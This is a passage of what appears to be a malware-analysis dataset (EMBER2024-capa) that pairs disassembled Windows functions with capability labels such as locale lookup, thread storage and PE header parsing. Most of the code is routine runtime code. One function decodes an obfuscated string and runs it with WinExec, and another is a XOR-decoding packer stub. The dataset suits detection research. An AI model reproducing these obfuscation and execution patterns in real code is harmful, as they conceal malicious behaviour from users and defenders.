joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10103202
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10191140]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.100f6e8b
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.100f6e8b
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10103279
cmp word [ecx], dx
je 0x10103279
mov eax, dword [0x1013adac]
push edi
dec eax
push eax
push 0x1013ac98
call fcn.101031a1
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x101032ec
cmp word [eax], dx
je 0x101032ec
mov eax, dword [edi]
test eax, eax
je 0x1010329d
cmp word [eax], dx
je 0x1010329d
lea eax, [ebp - 0x10]
push eax
call fcn.10102b84
jmp 0x101032a6
lea eax, [ebp - 0x10]
push eax
call fcn.10102c1f
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x10103316
mov eax, dword [0x1013ac94]
push dword [ebp - 0x14]
dec eax
push eax
push 0x1013a988
call fcn.101031a1
add esp, 0xc
test al, al
je 0x10103316
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x101032e1
cmp word [eax], di
je 0x101032e1
lea eax, [ebp - 0x10]
push eax
call fcn.10102b84
pop ecx
jmp 0x10103318
lea eax, [ebp - 0x10]
push eax
call fcn.10102c1f
jmp 0x101032de
mov eax, dword [edi]
test eax, eax
je 0x10103303
cmp word [eax], dx
je 0x10103303
lea eax, [ebp - 0x10]
push eax
call fcn.10102b39
pop ecx
jmp 0x10103316
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x101033e1
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10103026
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x101033e1
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x101033e1
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x101033e1
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x1010336e
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.100fdb50
test ebx, ebx
je 0x101033dc
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.100fdb50
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x101033e1
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x101033e1
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.100fac23
add esp, 0x10
xor eax, eax
inc eax
jmp 0x101033e3
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100df772
leave
ret
Function at 0x10107031
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.10106fad
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x101071a0
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x101071a0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x10107155
jg 0x1010708d
test eax, eax
je 0x1010714b
push 1
push 0x1000
call fcn.100f9619
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x101070b0
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x10107142
push 0x8000
push ebx
call fcn.10106ede
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x101070d9
jg 0x101070d4
cmp ecx, 0x1000
jb 0x101070d9
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.100fc589
add esp, 0x10
cmp eax, 0xffffffff
je 0x1010711e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x101070d4
jl 0x10107105
test ecx, ecx
jne 0x101070c6
push dword [ebp - 0xc]
push ebx
call fcn.10106ede
push esi
call fcn.100f9317
add esp, 0xc
xor ebx, ebx
jmp 0x101071ae
cmp byte [edi + 0x24], 0
je 0x10107135
cmp dword [edi + 0x20], 5
jne 0x10107135
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x10107140
mov ebx, dword [edi + 0x18]
jmp 0x10107142
xor ebx, ebx
push esi
call fcn.100f9317
pop ecx
jmp 0x101071ae
test ecx, ecx
jg 0x10107117
jl 0x10107155
test eax, eax
jae 0x10107117
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100fc9eb
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10107175
cmp byte [edi + 0x1c], 0
je 0x10107117
jmp 0x101071a6
push ebx
call fcn.101051d3
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x10107117
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x101071ae
cmp byte [edi + 0x1c], 0
je 0x101071ab
mov ebx, dword [edi + 0x18]
jmp 0x101071ae
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.100fc9eb
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10108790
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x101087bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x101087bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10001360
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x200
call fcn.10001de1
add esp, 4
xorps xmm0, xmm0
mov esi, eax
push 0x4d
sub esp, 0x18
mov ecx, esp
push 0x33d
movups xmmword [ecx], xmm0
push str.FHGHQGAEOFEGSFEGAFEHGEOGBHGGEHSEOHQHHHWHRHMFGFFFHFSEQFDEQFPGCHYHRHGHXGFHSHREOHLIDFMHMHPFNFNFMEWHVHOFJFGHVFFEXFPHRFMFLFIFHHVFKFSFWHVHVHEIDEWEQFPEQFBEQHXEQFBEQHVEQFBEQHGEQFBEQFGEQEXFPHLIDFMHMHPFNFNFMFSHRFMFLFIFHHVFKEWHVHOFJFGHVFFEXFPHIHRHHEOHJHYHRHGHXHMHSHRFPIDHSIAHNHLHQFKFSEQGPEQFAHLIDFMHMHPFNFNFMEWFIEXFAEQHVHMHTEQFAHLIDFMHMHPFNFNFMEWFGEXFAHLIDFMHMHPFNFNFMEWFFEXFAEQHLGQEQFAHLIDFMHMHPFNFNFMEWFGEXFAEQHTHWFPFEFEHGHSHRHXHHHWHOHPEQFAHQHHHWHRHMFGFFFHFAEQHFHSHYHRHGHIHQHIEQFAHQHHHWHRHMFGFFFHFAEQHRHIHXFEHKFGEQFPHIIAHEHPEWEQGDHIEQFAHLIDFMHMHPFNFNFMEWFGEXFAEQGLHFHNHIEQFAHLIDFMHMHPFNFNFMEWFIEXFAHLIDFMHMHPFNFNFMEWFGEXFAEQEWIDHSIAHNHLHQFKEXEQEXFTHRHYHPFTFYFPGYGRHWHIHVHWGYGMHYHFHPHMHGGYHBHIFNFGHLFKHNHGFGFDIAHFHWEUHGFPGYIBHMHRHHHSIBHWGYHWIDHWHXHIHQFIFHGYHGHQHHEOFEHGEOHWHXHEHVHXEOFYFPGYGRHWHIHVHWGYGMHYHFHPHMHGGYHIFNFGHLFKHNHGFGFDIAHFHW
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.10001080
lea eax, [ebp - 0x1c]
push eax
call fcn.10001440
add esp, 0x20
cmp dword [eax + 0x14], 7
jbe 0x100013be
mov eax, dword [eax]
push eax
push 0x1004c884
push esi
call fcn.10001750
mov ecx, dword [ebp - 8]
add esp, 0xc
cmp ecx, 7
jbe 0x10001403
mov edx, dword [ebp - 0x1c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100013f9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001438
push ecx
push edx
call fcn.10001dd3
add esp, 8
push 2
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x20
jae 0x10001425
push 0x30
push str.Error_40
push str.Error_40
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.10001dea
mov esp, ebp
pop ebp
ret 4
call fcn.1000d952
int3

Function at 0x10028219
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10028258
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10028258
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10028258
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10028258
cmp dword [ecx + 0x74], 0xe
jbe 0x10028258
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100331be
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1003325b
push ebx
push esi
call fcn.1003317a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100330b7
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10033208
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1003325a
push edi
push eax
call fcn.1002e1cc
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10033228
call fcn.1002e192
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10033259
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100330b7
add esp, 0x20
test eax, eax
jne 0x10033247
push edi
call fcn.1002e192
jmp 0x1003324f
push ebx
call fcn.1002e192
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1003325e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x1003326f
pop esi
ret
push ebx
push edi
push esi
call fcn.1003317a
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1002e1cc
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x10033297
push ebx
push esi
push edi
call fcn.100035f0
add esp, 0xc
push 0
call fcn.1002e192
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x10033b86
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1003350c

Function at 0x10034578
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004f3cc
push 0x1004f3c4
push str.FlsAlloc
push 0x1f
call fcn.10034246
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100345ac
push dword [ebp + 8]
mov ecx, esi
call dword [0x1004c154]
call esi
jmp 0x100345b2
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100345f6
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004f3dc
push 0x1004f3d4
push str.FlsGetValue
push 0x21
call fcn.10034246
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1003462d
push dword [ebp + 8]
mov ecx, esi
call dword [0x1004c154]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10034635
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004f3e4
push 0x1004f3dc
push str.FlsSetValue
push 0x22
call fcn.10034246
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1003466f
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1004c154]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x100388fe
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.1002be16
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1002be16
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10038975
cmp word [ecx], dx
je 0x10038975
mov eax, dword [0x10050014]
push edi
dec eax
push eax
push 0x1004ff00
call fcn.1003889d
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x100389e8
cmp word [eax], dx
je 0x100389e8
mov eax, dword [edi]
test eax, eax
je 0x10038999
cmp word [eax], dx
je 0x10038999
lea eax, [ebp - 0x10]
push eax
call fcn.10038280
jmp 0x100389a2
lea eax, [ebp - 0x10]
push eax
call fcn.1003831b
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x10038a12
mov eax, dword [0x1004fefc]
push dword [ebp - 0x14]
dec eax
push eax
push 0x1004fbf0
call fcn.1003889d
add esp, 0xc
test al, al
je 0x10038a12
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x100389dd
cmp word [eax], di
je 0x100389dd
lea eax, [ebp - 0x10]
push eax
call fcn.10038280
pop ecx
jmp 0x10038a14
lea eax, [ebp - 0x10]
push eax
call fcn.1003831b
jmp 0x100389da
mov eax, dword [edi]
test eax, eax
je 0x100389ff
cmp word [eax], dx
je 0x100389ff
lea eax, [ebp - 0x10]
push eax
call fcn.10038217
pop ecx
jmp 0x10038a12
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x10038add
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10038722
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10038add
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x10038add
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x10038add
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10038a6a
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.10034906
test ebx, ebx
je 0x10038ad8
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.10034906
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10038add
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10038add
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.1004016f
add esp, 0x10
xor eax, eax
inc eax
jmp 0x10038adf
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001dea
leave
ret
Function at 0x10045520
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100453f4

Function at 0x10047880
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100478ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100478ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4010d4
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov eax, str._ccav_
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00401224
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x401108
push ebx
call fcn.0040fae3
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [0x41bef1]
test ebx, ebx
je 0x40111f
push ebx
call fcn.0040fae3
add esp, 4
pop eax
mov dword [0x41bef1], eax
push 0x41b216
push dword [0x41bef1]
call fcn.00401037
add esp, 8
cmp eax, 0
jne 0x401165
mov dword [ebp - 8], esp
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401448
call fcn.00403124
call main
call fcn.004033f7
call fcn.0040d441
mov eax, str._769712ede71df91e_
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401194
push ebx
call fcn.0040fae3
add esp, 4
pop eax
mov dword [ebp - 4], eax
jmp 0x40119d
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4011ad
push ebx
call fcn.0040fae3
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x402380
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push dword [ebp + 0xc]
push esi
call fcn.0040e990
add esp, 8
mov eax, dword [0x524a40]
mov ecx, dword [0x514f00]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x4023de
inc esi
push dword [0x514c54]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
and eax, 0xfffffffc
je 0x40241f
mov ecx, dword [0x524a38]
mov dword [eax + ecx*8], esi
mov ecx, dword [0x524a3c]
mov edx, dword [0x524a38]
mov dword [eax + edx*8 + 4], ecx
pop esi
pop ebp
ret
push 0x524a40
call fcn.00494ba0
add esp, 4
cmp dword [0x524a40], 0xffffffff
jne 0x4023b0
mov dword [0x524a38], 0xffffffff
xor eax, eax
mov dword [0x524a3c], eax
mov ecx, 0x524a38
push eax
call fcn.00404c70
push 0x524a40
call fcn.00495b95
add esp, 4
jmp 0x4023b0
test esi, esi
je 0x4023db
call fcn.004048c0
jmp 0x4023c2

Function at 0x4042c0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, ecx
mov eax, dword [ebp + 8]
mov dword [ecx], eax
test eax, eax
je 0x4042d4
lock inc dword [eax + 4]
mov dword [esi + 4], eax
mov eax, dword [0x524b00]
mov ecx, dword [0x514f00]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x404380
lea edi, [esi + 4]
push dword [0x514c54]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
and eax, 0xfffffffc
je 0x404418
mov ecx, dword [0x524af8]
mov dword [eax + ecx*8], edi
mov ecx, dword [0x524afc]
mov edx, dword [0x524af8]
mov dword [eax + edx*8 + 4], ecx
mov eax, dword [0x5260a8]
mov ecx, dword [0x514f00]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x4043cc
push dword [0x514c54]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
and eax, 0xfffffffc
je 0x40442a
mov ecx, dword [0x5260a0]
mov dword [eax + ecx*8], esi
mov ecx, dword [0x5260a4]
mov edx, dword [0x5260a0]
mov dword [eax + edx*8 + 4], ecx
mov eax, esi
pop esi
pop edi
pop ebp
ret 4
push 0x524b00
call fcn.00494ba0
add esp, 4
cmp dword [0x524b00], 0xffffffff
jne 0x4042f8
mov dword [0x524afc], 0
mov dword [0x524af8], 0xffffffff
mov ecx, 0x524af8
push 0
call fcn.00404c70
push 0x524b00
call fcn.00495b95
add esp, 4
jmp 0x4042f8
push 0x5260a8
call fcn.00494ba0
add esp, 4
cmp dword [0x5260a8], 0xffffffff
jne 0x40434a
mov dword [0x5260a4], 0
mov dword [0x5260a0], 0xffffffff
mov ecx, 0x5260a0
push 0
call fcn.00404c70
push 0x5260a8
call fcn.00495b95
add esp, 4
jmp 0x40434a
test edi, edi
je 0x404329
call fcn.004048c0
jmp 0x404310
test esi, esi
je 0x404378
call fcn.004048c0
jmp 0x40435f
Function at 0x404440
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, ecx
mov eax, dword [0x5260a8]
mov ecx, dword [0x514f00]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x4045e7
push dword [0x514c54]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
and eax, 0xfffffffc
je 0x404496
mov ecx, dword [0x5260a0]
mov dword [eax + ecx*8], 0
mov ecx, dword [0x5260a4]
mov edx, dword [0x5260a0]
mov dword [eax + edx*8 + 4], ecx
mov eax, dword [0x524b00]
mov ecx, dword [0x514f00]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x40459b
push dword [0x514c54]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
and eax, 0xfffffffc
je 0x4044e5
mov ecx, dword [0x524af8]
mov dword [eax + ecx*8], 0
mov ecx, dword [0x524afc]
mov edx, dword [0x524af8]
mov dword [eax + edx*8 + 4], ecx
mov eax, dword [esi + 4]
test eax, eax
je 0x4044f6
lock dec dword [eax + 4]
je 0x404641
mov esi, dword [esi]
test esi, esi
je 0x40453f
lock dec dword [esi + 4]
jne 0x40453f
mov eax, dword [esi]
mov ecx, dword [eax + 8]
cmp ecx, 0x48fb30
jne 0x404553
mov edi, dword [eax + 4]
cmp edi, 0x492530
jne 0x404543
mov eax, dword [esi + 0xc]
test eax, eax
je 0x40452a
lock dec dword [eax]
je 0x404633
mov edi, dword [esi + 8]
test edi, edi
je 0x404536
lock dec dword [edi]
je 0x404564
push esi
call fcn.00494aa1
add esp, 4
pop esi
pop edi
pop ebp
ret
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
push 1
call edi
jmp 0x40453f
mov edi, ecx
call dword [section..00cfg]
mov ecx, esi
mov eax, edi
pop esi
pop edi
pop ebp
jmp eax
mov eax, dword [edi + 0x10]
mov ecx, eax
shr ecx, 0xe
mov edx, eax
shr edx, 0x13
mov edx, dword [edx*4 + 0x518914]
bt edx, ecx
jb 0x40464f
mov dword [edi + 0x10], 0
lea ecx, [edi + 4]
call fcn.0040a0c0
push edi
call fcn.00494aa1
add esp, 4
jmp 0x404536
push 0x524b00
call fcn.00494ba0
add esp, 4
cmp dword [0x524b00], 0xffffffff
jne 0x4044b7
mov dword [0x524afc], 0
mov dword [0x524af8], 0xffffffff
mov ecx, 0x524af8
push 0
call fcn.00404c70
push 0x524b00
call fcn.00495b95
add esp, 4
jmp 0x4044b7
push 0x5260a8
call fcn.00494ba0
add esp, 4
cmp dword [0x5260a8], 0xffffffff
jne 0x404468
mov dword [0x5260a4], 0
mov dword [0x5260a0], 0xffffffff
mov ecx, 0x5260a0
push 0
call fcn.00404c70
push 0x5260a8
call fcn.00495b95
add esp, 4
jmp 0x404468
push eax
call fcn.00494aa1
add esp, 4
jmp 0x40452a
push eax
call fcn.0046f8d0
add esp, 4
jmp 0x4044f6
push eax
call fcn.00454d60
add esp, 4
jmp 0x404581